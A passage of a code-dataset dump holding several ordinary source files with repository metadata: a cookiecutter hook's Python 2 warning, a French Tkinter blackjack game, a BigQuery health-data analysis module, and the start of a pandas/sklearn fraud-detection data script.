2:\n\t\tsys.stdout.write(\"WARNING: nyimbi-Cookiecutter does not support Python 2! Stability is guaranteed with Python 3.4+ only. Are you sure you want to proceed? (y/n)\")\n\n\t\tyes_options = set(['y'])\n\t\tno_options = set(['n', ''])\n\t\tchoice = raw_input().lower()\n\t\tif choice in no_options:\n\t\t\tsys.exit(1)\n\t\telif choice in yes_options:\n\t\t\tpass\n\t\telse:\n\t\t\tsys.stdout.write(\"Please respond with %s or %s\"\n\t\t\t\t% (', '.join([o for o in yes_options if not o == ''])\n\t\t\t\t\t, ', '.join([o for o in no_options if not o == ''])))\n","repo_name":"craftdata/cookiecutter-nyimbi","sub_path":"hooks/pre_gen_project.py","file_name":"pre_gen_project.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41993062258","text":"import module_carte as carte\nfrom class_joueur import*\nfrom class_jeu import*\nfrom tkinter import *\nfrom tkinter.messagebox import *\nfrom PIL import Image,ImageTk\nfrom class_graphisme import *\n \ndef jeu(option_menu): #Fonction a appeler pour debuter le jeu\n global list_joueur,Croupier,index,repetition,recursion,fen,interface,rang #nb=nombre d'adversaire entre 0 et 4\n fen=option_menu\n if fen[1]<1:\n fen[1]=1\n if fen[2]<=fen[1]:\n fen[2]=fen[1]+1\n if fen[3]>=5:\n fen[3]=5\n elif fen[3]<1:\n fen[3]=1\n interface = Graphisme(fen[3],fen[0])\n nb=fen[3]-1\n carte.melange()\n repetition=1\n recursion=False\n rang=[]\n Croupier=Jeu(None) #Creation du croupier qui est un objet Jeu\n Croupier.points()\n list_joueur=[0,0,0,0] #Creation des joueurs\n for i in range(nb): #0=Pas de joueur\n if nb<=2:\n list_joueur[i]=Joueur(fen[1])\n else:\n list_joueur[i]=Joueur(fen[1])\n if fen[3]==5:\n interface.configure_argent_joueurs(0,fen[1])\n interface.configure_argent_joueurs(1,fen[1])\n interface.configure_argent_joueurs(3,fen[1])\n interface.configure_argent_joueurs(4,fen[1])\n elif fen[3]==4:\n interface.configure_argent_joueurs(0,fen[1])\n interface.configure_argent_joueurs(1,fen[1])\n interface.configure_argent_joueurs(3,fen[1])\n elif fen[3]==3:\n interface.configure_argent_joueurs(0,fen[1])\n interface.configure_argent_joueurs(1,fen[1])\n elif fen[3]==2:\n interface.configure_argent_joueurs(0,fen[1])\n list_joueur.insert(2,Joueur(fen[1])) #Le vrai joueur sera toujours au rang 2\n index=0\n etape_parie() #On lance les paries\n\n\n\ndef etape_parie(): #Fonction a appeler pour recommencer le jeux avec le meme argent et joueurs\n global index,list_joueur,Croupier\n interface.message.configure(fg=\"blue\")\n if fen[3]>1:\n interface.configure_message(0,\"-\")\n if fen[3]>2:\n interface.configure_message(1,\"-\")\n if fen[3]>3:\n interface.configure_message(3,\"-\")\n if fen[3]>4:\n interface.configure_message(4,\"-\")\n if index<5:\n if index==2 and list_joueur[index]!=0: #Ce que nous jouons si nous somme toujours dans le jeu\n interface.message.configure(text=\"Pariez S.V.P\",font=('arial','11','bold'))\n interface.configure_argent(list_joueur[2].argent)\n interface.miser(list_joueur[2].argent)\n appel_parie(interface.mise) ##On attend que le joueur rentre une valeur##\n else:\n if list_joueur[index]!=0: #Ce que l'IA fait\n appel_parie()\n else:\n index+=1\n etape_parie()\n \n else:\n #Verification de blackjack\n for i in range(5):\n if list_joueur[i]!=0:\n if i==2:\n interface.carte(list_joueur[2].jeu_de_carte[0].cartes[0]%4,(list_joueur[2].jeu_de_carte[0].cartes[0]//4)+1)\n interface.carte(list_joueur[2].jeu_de_carte[0].cartes[1]%4,(list_joueur[2].jeu_de_carte[0].cartes[1]//4)+1)\n interface.configure_point_joueur(list_joueur[2].jeu_de_carte[0].pts) \n else:\n if list_joueur[2]!=0:\n interface.carte_joueur(i,list_joueur[i].jeu_de_carte[0].cartes[0]%4,(list_joueur[i].jeu_de_carte[0].cartes[0]//4)+1)\n interface.carte_joueur(i,list_joueur[i].jeu_de_carte[0].cartes[1]%4,(list_joueur[i].jeu_de_carte[0].cartes[1]//4)+1)\n interface.configure_points(i,list_joueur[i].jeu_de_carte[0].pts)\n if list_joueur[i].blackjack:\n if list_joueur[2]!=0:\n interface.info_blackjack(i)\n interface.message.configure(text=\"Joueur \"+str(i+1)+\": Blackjack!!!\")\n interface.configure_message(i,\"BLACKJACK\") \n if i==2:\n interface.movement_argent(\"gagnant\")\n interface.afficher_gagne(\"joueur\")\n list_joueur[i].argent+=(list_joueur[i].jeu_de_carte[0].bet)*2.5\n\n if list_joueur[2]!=0:\n temp=Croupier.cartes[0]\n interface.carte_croupier(temp%4,(temp//4)+1)\n temp=(temp//4)+1\n if temp>10:\n temp=10\n elif temp==1:\n temp=11\n interface.configure_point_croupier(temp)\n temp=Croupier.cartes[1]\n interface.carte_croupier(temp%4,(temp//4)+1)\n index=0\n if (Croupier.cartes[0])//4==0: #Si la 1er carte du croupier est un as alors on demande si les joueurs veulent une assurance\n etape_assurance()\n else:\n etape_jeu()\n\n\ndef appel_parie(montant=1): #Fonction a appeler lorsque nous confirmerons notre mise\n global index,list_joueur,interface #En argument notre mise\n \n if index==2 and list_joueur[index]!=0:\n list_joueur[index].en_jeu==True\n list_joueur[index].play(montant)\n interface.configure_argent(list_joueur[2].argent)\n else:\n list_joueur[index].IA_parie()\n if list_joueur[2]!=0:\n interface.configure_mises(index,list_joueur[index].jeu_de_carte[0].bet)\n interface.configure_argent_joueurs(index,list_joueur[index].argent)\n\n \n index+=1\n etape_parie()\n\n\ndef etape_assurance(): #etape du jeu qui verifie qui veut une assurance\n global list_joueur,Croupier,index,recursion,rang\n \n if index<5:\n if index==2 and list_joueur[index]!=0 and list_joueur[index].en_jeu:\n if list_joueur[index].argent>=(list_joueur[index].jeu_de_carte[0].bet*0.5):\n interface.message.configure(text=\"Voulez vous une assurance?\")\n interface.assurance_oui_non()#On attend une reponse du joueur s'il veut une assurance\n appel_assurance(interface.assurance)\n else:\n interface.message.configure(text=\"Vous n'avez pas assez d'argent pour prendre une assurance\")\n appel_assurance(False)\n else:\n if list_joueur[index]!=0 and list_joueur[index].en_jeu and (list_joueur[index].argent>=(list_joueur[index].jeu_de_carte[0].bet*0.5)):\n appel_assurance()\n else:\n index+=1\n etape_assurance()\n \n else:\n index=0\n if Croupier.pts!=21:\n if list_joueur[2]!=0 and list_joueur[2].assurance_prise:\n interface.movement_argent_assurance(\"perdant\")\n if Croupier.pts==21:\n if list_joueur[2]!=0:\n temp=Croupier.cartes[1]\n interface.appa_carte_croupier(temp%4,(temp//4)+1)\n for i in range (5):\n if list_joueur[i]!=0:\n if list_joueur[i].assurance_prise:\n list_joueur[i].argent+=list_joueur[i].jeu_de_carte[0].bet*1.5\n if i==2: \n interface.movement_argent(\"gagnant\")\n interface.movement_argent_assurance(\"gagnant\")\n interface.afficher_gagne(\"joueur\")\n elif i==2 and list_joueur[i].assurance_prise==False:\n interface.movement_argent(\"perdant\")\n interface.afficher_gagne(\"croupier\")\n for i in range(5): #On cherche les joueurs qui n'on plus d'argent ou qui atteint l'objectifs\n if list_joueur[i]!=0:\n if list_joueur[i].argent<=0: #Plus d'argent\n interface.gagnant_perdant(i,\"PERDANT\")\n rang.append(i)\n if i==2:\n interface.nettoyage()\n interface.caneva.delete(interface.text_nouvelle_partie)\n if fen[3]!=1:\n interface.pause_nouvelle_partie()\n interface.message.configure(text=\"Le joueur \"+str(i+1)+\" a perdu\",fg=\"blue\")\n list_joueur[i]=0 \n elif list_joueur[i].argent>=fen[2]: #Objectif (fen[2] correspond a la somme a atteindre)\n #Le jeu entier s'arrete si qqun atteint l'objectif\n rang=[i]\n list_joueur=[0,0,0,0,0]\n interface.nettoyage()\n interface.caneva.delete(interface.text_nouvelle_partie)\n interface.gagnant_perdant(i,\"GAGNANT\")\n if i==2:\n showinfo(\"VICTOIRE\", \"FELICITATION\\nVOUS AVEZ GAGNE !\")\n else:\n showinfo(\"VICTOIRE\", \"LE JOUEUR \"+str(i+1)+\" A GAGNE !\")\n interface.fenetre.destroy()\n print(\"destruction1\")\n return\n\n if list_joueur.count(0)==5 and fen[3]!=1:\n compteur=fen[3]-1\n temp=\"\"\n classement=1\n while compteur>=0:\n if rang[compteur]==2:\n if classement==1:\n temp=temp+\" \"+str(classement)+\"er Vous\\n\"\n else:\n temp=temp+\" \"+str(classement)+\"eme Vous\\n\"\n else:\n if classement==1:\n temp=temp+\" \"+str(classement)+\"er Joueur \"+str(rang[compteur]+1)+\"\\n\"\n else:\n temp=temp+\" \"+str(classement)+\"ème Joueur \"+str(rang[compteur]+1)+\"\\n\"\n compteur=compteur-1\n classement=classement+1\n showinfo(\"RESULTATS\", temp)\n interface.fenetre.destroy()\n print(\"destruction2\")\n return\n elif list_joueur[2]==0 and fen[3]==1:\n showinfo(\"PERDU\", \"VOUS AVEZ PERDU !\")\n interface.fenetre.destroy()\n print(\"destruction3\")\n return\n Croupier=Jeu(None) #Remise a zero du croupier\n Croupier.points() #On ne veut pas qu'il garde les meme cartes\n if len(carte.pille)<52: #S'il ne reste plus que 52 cartes alors on melange a nouveau les cartes\n carte.melange()\n if list_joueur[2]!=0:\n interface.pause_nouvelle_partie()\n interface.nettoyage()\n if list_joueur[2]!=0:\n interface.configure_argent(list_joueur[2].argent)\n if fen[3]>1:\n if list_joueur[2]!=0:\n if list_joueur[0]!=0:\n interface.configure_points(0,0)\n interface.configure_mises(0,0)\n interface.configure_argent_joueurs(0,list_joueur[0].argent)\n if fen[3]>2:\n if list_joueur[2]!=0:\n if list_joueur[1]!=0:\n interface.configure_points(1,0)\n interface.configure_mises(1,0)\n interface.configure_argent_joueurs(1,list_joueur[1].argent)\n if fen[3]>3:\n if list_joueur[2]!=0:\n if list_joueur[3]!=0:\n interface.configure_points(3,0)\n interface.configure_mises(3,0)\n interface.configure_argent_joueurs(3,list_joueur[3].argent)\n if fen[3]>4:\n if list_joueur[2]!=0:\n if list_joueur[4]!=0:\n interface.configure_points(4,0)\n interface.configure_mises(4,0)\n interface.configure_argent_joueurs(4,list_joueur[4].argent)\n \n while list_joueur.count(0)!=5:\n if recursion==False:\n recursion=True\n etape_parie()\n if recursion==True:\n recursion=False\n return\n\n \n etape_jeu()\n\n\ndef appel_assurance(choix=False): #A appeler lorsque le joueur aura fait un choix\n global list_joueur,index #En argument: True=On prend assurance / False=On prend pas\n if index==2 and list_joueur[index]!=0 and choix:\n list_joueur[2].assurance()\n interface.configure_argent(list_joueur[2].argent)\n elif index!=2 and list_joueur[index]!=0:\n list_joueur[index].IA_assurance()\n index+=1\n etape_assurance()\n\n\ndef etape_jeu(): #Etape on le jeu se deroule\n global list_joueur,index,repetition,Croupier,fen\n \n if index < 5:\n \n if index==2 and list_joueur[index]!=0:\n list_joueur[2].jeu_de_carte[0].points()\n if list_joueur[2].en_jeu==False: #On verifie si on a tout jouer\n if len(list_joueur[index].jeu_de_carte)>1:\n if repetition < len(list_joueur[index].jeu_de_carte):\n repetition+=1\n list_joueur[index].jeu_de_carte.append(list_joueur[index].jeu_de_carte.pop(0))\n if index==2:\n interface.split_movement(list_joueur[2].jeu_de_carte[1].cartes,list_joueur[2].jeu_de_carte[0].cartes)\n list_joueur[2].jeu_de_carte[0].points()\n interface.configure_point_joueur(list_joueur[2].jeu_de_carte[0].pts)\n list_joueur[index].en_jeu=True\n etape_jeu()\n else:\n repetition=1\n index+=1\n etape_jeu()\n else:\n repetition=1\n index+=1\n etape_jeu()\n elif list_joueur[2].en_jeu==True: #On verifie ce que nous pouvons faire / Rendre les boutons plus ou moins disponibles\n interface.bouton_appa(\"bouton_aide\")\n if ((list_joueur[index].jeu_de_carte[0].cartes[0])//4==(list_joueur[index].jeu_de_carte[0].cartes[1])//4 or ((list_joueur[index].jeu_de_carte[0].cartes[0])//4 >=9 and(list_joueur[index].jeu_de_carte[0].cartes[1])//4>=9)) and (len(list_joueur[index].jeu_de_carte)==1 and len(list_joueur[index].jeu_de_carte[0].cartes)==2) and list_joueur[index].argent >= list_joueur[index].jeu_de_carte[0].bet:\n interface.bouton_appa(\"bouton_split\")\n if len(list_joueur[index].jeu_de_carte[0].cartes)==2 and list_joueur[index].argent >= list_joueur[index].jeu_de_carte[0].bet:\n interface.bouton_appa(\"bouton_double\")\n interface.message.configure(text=\"A vous de jouer\")\n interface.bouton_appa(\"bouton_hit\")\n interface.bouton_appa(\"bouton_stand\")\n interface.action_bouton()\n ##Tout c'est boutons appel appel_jeu(choix) avec en argument S D H ou R##\n interface.bouton_disp(\"bouton_hit\")\n interface.bouton_disp(\"bouton_stand\")\n interface.bouton_disp(\"bouton_double\")\n interface.bouton_disp(\"bouton_split\")\n interface.bouton_disp(\"bouton_aide\")\n appel_jeu(interface.bouton_valeur)\n\n else:\n if list_joueur[index]!=0 and list_joueur[index].en_jeu:\n appel_jeu()\n else:\n index+=1\n etape_jeu()\n \n else:\n index=0\n etape_croupier()\n\n\ndef appel_jeu(option=\"R\"): #A appeler lorsqon aure fait un choix\n global list_joueur,index #En argument notre choix\n \n if index==2 and list_joueur[index]!=0:\n if option==\"S\" and (((list_joueur[index].jeu_de_carte[0].cartes[0])//4==(list_joueur[index].jeu_de_carte[0].cartes[1])//4 or ((list_joueur[index].jeu_de_carte[0].cartes[0])//4 >=9 and(list_joueur[index].jeu_de_carte[0].cartes[1])//4>=9)) and (len(list_joueur[index].jeu_de_carte)==1 and len(list_joueur[index].jeu_de_carte[0].cartes)==2)): #\"S\" pour un split\n interface.message.configure(text=\"SPLIT\")\n list_joueur[2].split()\n interface.configure_argent(list_joueur[2].argent)\n temp=len(list_joueur[2].jeu_de_carte[0].cartes)-1\n temp=list_joueur[2].jeu_de_carte[0].cartes[temp]\n interface.split(list_joueur[2].jeu_de_carte[0].cartes[0],list_joueur[2].jeu_de_carte[1].cartes[0],list_joueur[2].jeu_de_carte[0].cartes[1],list_joueur[2].jeu_de_carte[1].cartes[1])\n list_joueur[2].jeu_de_carte[0].points()\n interface.configure_point_joueur(list_joueur[2].jeu_de_carte[0].pts)\n elif option==\"D\": #\"D\" pour un double\n interface.message.configure(text=\"DOUBLE\")\n list_joueur[2].double()\n interface.configure_argent(list_joueur[2].argent)\n temp=len(list_joueur[2].jeu_de_carte[0].cartes)-1\n temp=list_joueur[2].jeu_de_carte[0].cartes[temp]\n interface.carte_double(temp%4,(temp//4)+1)\n list_joueur[2].jeu_de_carte[0].points()\n interface.configure_point_joueur(list_joueur[2].jeu_de_carte[0].pts)\n elif option==\"H\": #\"H\" pour tirer une carte\n interface.message.configure(text=\"HIT\")\n list_joueur[2].hit()\n temp=len(list_joueur[2].jeu_de_carte[0].cartes)-1\n temp=list_joueur[2].jeu_de_carte[0].cartes[temp]\n interface.carte(temp%4,(temp//4)+1)\n interface.configure_point_joueur(list_joueur[2].jeu_de_carte[0].pts)\n elif option==\"R\": #\"R\" pour s'arreter\n interface.message.configure(text=\"STAND\")\n list_joueur[2].stay()\n elif option==\"A\":\n temp=stat()\n interface.info_statistique(temp)\n\n etape_jeu()\n\n elif list_joueur[index]!=0:\n i=0\n jeu_carte_split=0\n selection_jeu_carte=0\n choix=False\n \n while i < len(list_joueur[index].jeu_de_carte): #Pour l'IA on verifie tout ce qu'il peut faire\n #print(\"boucle\",i)\n if ((list_joueur[index].jeu_de_carte[i].cartes[0])//4==(list_joueur[index].jeu_de_carte[i].cartes[1])//4 or ((list_joueur[index].jeu_de_carte[i].cartes[0])//4 >=9 and(list_joueur[index].jeu_de_carte[i].cartes[1])//4>=9)) and (len(list_joueur[index].jeu_de_carte)==1 and len(list_joueur[index].jeu_de_carte[i].cartes)==2) and list_joueur[index].argent >= list_joueur[index].jeu_de_carte[0].bet:\n choix=list_joueur[index].IA_split() #On verifie s'il veut split\n if choix:\n if list_joueur[2]!=0:\n interface.configure_message(index,\"SPLIT\")\n interface.split_joueur(index,list_joueur[index].jeu_de_carte[0].cartes[0],list_joueur[index].jeu_de_carte[1].cartes[0],list_joueur[index].jeu_de_carte[0].cartes[1],list_joueur[index].jeu_de_carte[1].cartes[1])\n jeu_carte_split=1\n if len(list_joueur[index].jeu_de_carte[i].cartes)==2 and list_joueur[index].argent >= list_joueur[index].jeu_de_carte[0].bet and choix==False:\n choix=list_joueur[index].IA_double(i) #Sinon on verifie s'il veut double\n if choix:\n if list_joueur[2]!=0:\n interface.configure_message(index,\"DOUBLE\")\n temp=len(list_joueur[index].jeu_de_carte[selection_jeu_carte].cartes)-1\n temp=list_joueur[index].jeu_de_carte[selection_jeu_carte].cartes[temp]\n interface.carte_double_joueur(index,temp%4,(temp//4)+1)\n if choix==False:\n choix=list_joueur[index].IA_hit(i) #Sinon on verifie s'il veut hit et sinon il s'arrete\n if choix:\n if list_joueur[2]!=0:\n interface.configure_message(index,\"HIT\")\n temp=len(list_joueur[index].jeu_de_carte[selection_jeu_carte].cartes)-1\n temp=list_joueur[index].jeu_de_carte[selection_jeu_carte].cartes[temp]\n interface.carte_joueur(index,temp%4,(temp//4)+1)\n choix=False\n list_joueur[index].jeu_de_carte[i].points()\n if list_joueur[index].jeu_de_carte[i].pts>=21 or list_joueur[index].en_jeu==False:\n list_joueur[index].en_jeu=True\n i+=1\n if i==1 and jeu_carte_split and list_joueur[2]!=0:\n interface.split_movement_joueur(index,list_joueur[index].jeu_de_carte[0].cartes,list_joueur[index].jeu_de_carte[1].cartes)\n selection_jeu_carte=1\n if list_joueur[2]!=0:\n interface.configure_points(index,list_joueur[index].jeu_de_carte[selection_jeu_carte].pts)\n if jeu_carte_split==1 and list_joueur[2]!=0:\n interface.fin_split_reconfigure(index)\n index+=1\n etape_jeu()\n\n\ndef etape_croupier(): #Etape ou le croupier joue\n global Croupier,list_joueur\n choix=False\n for i in range(5): #On verifie si sa vaut la peine de jouer\n if list_joueur[i]!=0: #Si tout les joueurs sont au-dessus de 21 alors il a pas besoin de jouer\n for j in range(len(list_joueur[i].jeu_de_carte)):\n list_joueur[i].jeu_de_carte[j].points()\n if list_joueur[i].jeu_de_carte[j].pts<=21:\n choix=True\n \n while Croupier.pts<17 and choix: #Tant qu'il est en dessous de 17 il continue a tirer une carte\n Croupier.cartes.append(carte.tirer())\n Croupier.points()\n if list_joueur[2]!=0 and len(Croupier.cartes)>2:\n temp=len(Croupier.cartes)-1\n temp=Croupier.cartes[temp]\n interface.carte_croupier(temp%4,(temp//4)+1)\n interface.configure_point_croupier(Croupier.pts)\n if list_joueur[2]!=0:\n if len(Croupier.cartes)==2:\n temp=Croupier.cartes[1]\n interface.appa_carte_croupier(temp%4,(temp//4)+1)\n\n if list_joueur[2]!=0:\n interface.configure_point_croupier(Croupier.pts)\n interface.message.configure(text=\"Croupier: \"+str(Croupier.pts)+\" points\")\n etape_paie()\n\n\ndef etape_paie(): #Etape ou la paie se fait et on relance le prochain jeu et les mises\n global list_joueur,Croupier,recursion,fen,rang\n Croupier.points()\n \n for i in range(5):\n if list_joueur[i]!=0 and list_joueur[i].blackjack==False:\n for j in range(len(list_joueur[i].jeu_de_carte)):\n list_joueur[i].jeu_de_carte[j].points()\n if list_joueur[i].jeu_de_carte[j].pts>21:\n if i==2 and list_joueur[2]!=0:\n interface.movement_argent()\n if j==0:\n interface.afficher_gagne(\"croupier\")\n elif j==1:\n interface.afficher_gagne_split(\"croupier\")\n if list_joueur[2]!=0:\n interface.configure_message(i,\"PERDU\")\n elif Croupier.pts>21:\n list_joueur[i].argent+=list_joueur[i].jeu_de_carte[j].bet*2\n if i==2 and list_joueur[2]!=0:\n interface.movement_argent(\"gagnant\")\n if j==0:\n interface.afficher_gagne(\"joueur\")\n elif j==1:\n interface.afficher_gagne_split(\"joueur\")\n if list_joueur[2]!=0:\n interface.configure_message(i,\"GAGNE!!\")\n elif Croupier.ptslist_joueur[i].jeu_de_carte[j].pts:\n if i==2 and list_joueur[2]!=0:\n interface.movement_argent()\n if j==0:\n interface.afficher_gagne(\"croupier\")\n elif j==1:\n interface.afficher_gagne_split(\"croupier\")\n if list_joueur[2]!=0:\n interface.configure_message(i,\"PERDU\")\n elif Croupier.pts == list_joueur[i].jeu_de_carte[j].pts:\n list_joueur[i].argent+=list_joueur[i].jeu_de_carte[j].bet\n if i==2 and list_joueur[2]!=0:\n interface.movement_argent(\"gagnant\")\n if j==0:\n interface.afficher_gagne(\"egalite\")\n elif j==1:\n interface.afficher_gagne_split(\"egalite\")\n if list_joueur[2]!=0:\n interface.configure_message(i,\"EGALITE\")\n for i in range(5): #On cherche les joueurs qui n'on plus d'argent ou qui atteint l'objectifs\n if list_joueur[i]!=0:\n if list_joueur[i].argent<=0: #Plus d'argent\n interface.gagnant_perdant(i,\"PERDANT\")\n rang.append(i)\n if i==2:\n interface.nettoyage()\n interface.caneva.delete(interface.text_nouvelle_partie)\n if fen[3]!=1:\n interface.pause_nouvelle_partie()\n interface.message.configure(text=\"Le joueur \"+str(i+1)+\" a perdu\",fg=\"blue\")\n list_joueur[i]=0 \n elif list_joueur[i].argent>=fen[2]: #Objectif (fen[2] correspond a la somme a atteindre)\n #Le jeu entier s'arrete si qqun atteint l'objectif\n rang=[i]\n list_joueur=[0,0,0,0,0]\n interface.nettoyage()\n interface.caneva.delete(interface.text_nouvelle_partie)\n interface.gagnant_perdant(i,\"GAGNANT\")\n if i==2:\n showinfo(\"VICTOIRE\", \"FELICITATION\\nVOUS AVEZ GAGNE !\")\n else:\n showinfo(\"VICTOIRE\", \"LE JOUEUR \"+str(i+1)+\" A GAGNE !\")\n interface.fenetre.destroy()\n print(\"destruction1\")\n return\n\n if list_joueur.count(0)==5 and fen[3]!=1:\n compteur=fen[3]-1\n temp=\"\"\n classement=1\n while compteur>=0:\n if rang[compteur]==2:\n if classement==1:\n temp=temp+\" \"+str(classement)+\"er Vous\\n\"\n else:\n temp=temp+\" \"+str(classement)+\"eme Vous\\n\"\n else:\n if classement==1:\n temp=temp+\" \"+str(classement)+\"er Joueur \"+str(rang[compteur]+1)+\"\\n\"\n else:\n temp=temp+\" \"+str(classement)+\"ème Joueur \"+str(rang[compteur]+1)+\"\\n\"\n compteur=compteur-1\n classement=classement+1\n showinfo(\"RESULTATS\", temp)\n interface.fenetre.destroy()\n print(\"destruction2\")\n return\n elif list_joueur[2]==0 and fen[3]==1:\n showinfo(\"PERDU\", \"VOUS AVEZ PERDU !\")\n interface.fenetre.destroy()\n print(\"destruction3\")\n return\n \n Croupier=Jeu(None) #Remise a zero du croupier\n Croupier.points() #On ne veut pas qu'il garde les meme cartes\n if len(carte.pille)<52: #S'il ne reste plus que 52 cartes alors on melange a nouveau les cartes\n carte.melange()\n if list_joueur[2]!=0:\n interface.pause_nouvelle_partie()\n interface.nettoyage()\n if list_joueur[2]!=0:\n interface.configure_argent(list_joueur[2].argent)\n if fen[3]>1:\n if list_joueur[2]!=0:\n if list_joueur[0]!=0:\n interface.configure_points(0,0)\n interface.configure_mises(0,0)\n interface.configure_argent_joueurs(0,list_joueur[0].argent)\n if fen[3]>2:\n if list_joueur[2]!=0:\n if list_joueur[1]!=0:\n interface.configure_points(1,0)\n interface.configure_mises(1,0)\n interface.configure_argent_joueurs(1,list_joueur[1].argent)\n if fen[3]>3:\n if list_joueur[2]!=0:\n if list_joueur[3]!=0:\n interface.configure_points(3,0)\n interface.configure_mises(3,0)\n interface.configure_argent_joueurs(3,list_joueur[3].argent)\n if fen[3]>4:\n if list_joueur[2]!=0:\n if list_joueur[4]!=0:\n interface.configure_points(4,0)\n interface.configure_mises(4,0)\n interface.configure_argent_joueurs(4,list_joueur[4].argent)\n \n while list_joueur.count(0)!=5:\n if recursion==False:\n recursion=True\n etape_parie()\n if recursion==True:\n recursion=False\n return\n\n\n \n \ndef stat(): #fonction statistique pour le joueur Humain\n pille_total=[]\n list_joueur[2].jeu_de_carte[0].points()\n x=21-list_joueur[2].jeu_de_carte[0].pts_min\n\n if x>=10:\n return 100\n else:\n total=0\n for i in range (len(carte.pille)):\n pille_total.append(carte.pille[i])\n pille_total.append(Croupier.cartes[1])\n for i in range(4*x):\n total+=pille_total.count(i)\n pourcentage=round((total*100)/(len(pille_total)))\n return pourcentage\n\n \n","repo_name":"lcoste/BlackJack","sub_path":"Black Jack Projet ISN 2014/Ressources/module_jeu_remake.py","file_name":"module_jeu_remake.py","file_ext":"py","file_size_in_byte":30305,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18742345764","text":"# Python imports\nimport logging\nimport os\n\n# Project imports\nimport app_identity\nimport bq_utils\nimport resources\nimport common\nfrom validation import sql_wrangle\n\nACHILLES_ANALYSIS = 'achilles_analysis'\nACHILLES_RESULTS = 'achilles_results'\nACHILLES_RESULTS_DIST = 'achilles_results_dist'\nACHILLES_TABLES = [ACHILLES_ANALYSIS, ACHILLES_RESULTS, ACHILLES_RESULTS_DIST]\nACHILLES_DML_SQL_PATH = os.path.join(resources.resource_files_path,\n 'achilles_dml.sql')\n\n\ndef _get_run_analysis_commands(hpo_id):\n raw_commands = sql_wrangle.get_commands(ACHILLES_DML_SQL_PATH)\n commands = [sql_wrangle.qualify_tables(cmd, hpo_id) for cmd in raw_commands]\n return commands\n\n\ndef load_analyses(hpo_id):\n \"\"\"\n Populate achilles lookup table\n \n :param hpo_id: hpo_id of the site to run achilles on\n :return: None\n \"\"\"\n project_id = app_identity.get_application_id()\n dataset_id = common.BIGQUERY_DATASET_ID\n table_name = resources.get_table_id(table_name=ACHILLES_ANALYSIS,\n hpo_id=hpo_id)\n csv_path = os.path.join(resources.resource_files_path,\n f'{ACHILLES_ANALYSIS}.csv')\n schema = resources.fields_for(ACHILLES_ANALYSIS)\n bq_utils.load_table_from_csv(project_id, dataset_id, table_name, csv_path,\n schema)\n\n\ndef drop_or_truncate_table(client, command):\n \"\"\"\n Deletes or truncates table\n Previously, deletion was used for both truncate and drop, and this function retains the behavior\n\n :param client: a BigQueryClient\n :param command: query to run\n :return: None\n \"\"\"\n if sql_wrangle.is_truncate(command):\n table_id = sql_wrangle.get_truncate_table_name(command)\n else:\n table_id = sql_wrangle.get_drop_table_name(command)\n if client.table_exists(table_id):\n assert (table_id not in common.VOCABULARY_TABLES)\n client.delete_table(\n f'{os.environ.get(\"BIGQUERY_DATASET_ID\")}.{table_id}')\n\n\ndef run_analysis_job(command):\n \"\"\"\n Runs command query and waits for job completion\n \n :param command: query to run\n :return: None\n :raises RuntimeError: Raised if job takes too long to complete\n \"\"\"\n if sql_wrangle.is_to_temp_table(command):\n logging.info('Running achilles temp query %s' % command)\n table_id = sql_wrangle.get_temp_table_name(command)\n query = sql_wrangle.get_temp_table_query(command)\n job_result = bq_utils.query(query, destination_table_id=table_id)\n else:\n logging.info('Running achilles load query %s' % command)\n job_result = bq_utils.query(command)\n job_id = job_result['jobReference']['jobId']\n incomplete_jobs = bq_utils.wait_on_jobs([job_id])\n if len(incomplete_jobs) > 0:\n logging.info('Job id %s taking too long' % job_id)\n raise RuntimeError('Job id %s taking too long' % job_id)\n\n\ndef run_analyses(client, hpo_id):\n \"\"\"\n Run the achilles analyses\n \n :param client: a BigQueryClient\n :param hpo_id: hpo_id of the site to run on\n :return: None\n \"\"\"\n commands = _get_run_analysis_commands(hpo_id)\n for command in commands:\n if sql_wrangle.is_truncate(command) or sql_wrangle.is_drop(command):\n drop_or_truncate_table(client, command)\n else:\n run_analysis_job(command)\n\n\ndef create_tables(hpo_id, drop_existing=False):\n \"\"\"\n Create the achilles related tables\n \n :param hpo_id: associated hpo id\n :param drop_existing: if True, drop existing tables\n :return: None\n \"\"\"\n for table_name in ACHILLES_TABLES:\n table_id = resources.get_table_id(table_name, hpo_id=hpo_id)\n bq_utils.create_standard_table(table_name, table_id, drop_existing)\n","repo_name":"all-of-us/curation","sub_path":"data_steward/validation/achilles.py","file_name":"achilles.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"82"} +{"seq_id":"75035843469","text":"############ Projet Big Data ############\n\nimport pandas as pd\nimport pandas_profiling as pp\nimport numpy as np\nfrom sklearn import model_selection\nfrom sklearn.feature_selection import VarianceThreshold, SelectKBest, chi2\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import classification_report, confusion_matrix,plot_confusion_matrix\n\n## Chargement des données\n\ndata = pd.read_csv(\"C:/Users/alexi/Desktop/ProjetML/dataproject.txt\",sep=\";\",decimal=\",\")\ndata.head(5)\ndata.info()\n\ndata['FlAgImpAye'] = data['FlAgImpAye'].astype(str) \ndata['CodeDecision'] = data['CodeDecision'].astype(str) \ndata['IDAvisAutorisAtionCheque'] = data['IDAvisAutorisAtionCheque'].astype(str) \n\nQuanti = ['MontAnt','VerifiAnceCPT1','VerifiAnceCPT2','VerifiAnceCPT3','D2CB','ScoringFP1','ScoringFP2','ScoringFP3','TAuxImpNb_RB','TAuxImpNB_CPM','EcArtNumCheq','NbrMAgAsin3J','DiffDAteTr1','DiffDAteTr2','DiffDAteTr3','CA3TRetMtt','CA3TR','Heure'] \nQuali = ['ZIBZIN','IDAvisAutorisAtionCheque','DAteTrAnsAction','CodeDecision'] \n\nY = data[\"FlAgImpAye\"]\nX = data.iloc[:,0:22]\n\nX_quanti = X[Quanti]\nX_quali = X[Quali]\n\nX_quanti.head()\n\n\n## Statistiques descriptives sur les données\nreport = pp.ProfileReport(data)\nreport.to_file('profile_report.html')\n\n\n## Selection de variable\n# Méthode de filtre\nselect = SelectKBest(chi2,k=5)\nselect.fit_transform(X_quanti,Y)\n\n## Méthodes d'échantillonage\ndata_train = data.iloc[0:1967225]\ndata_test = 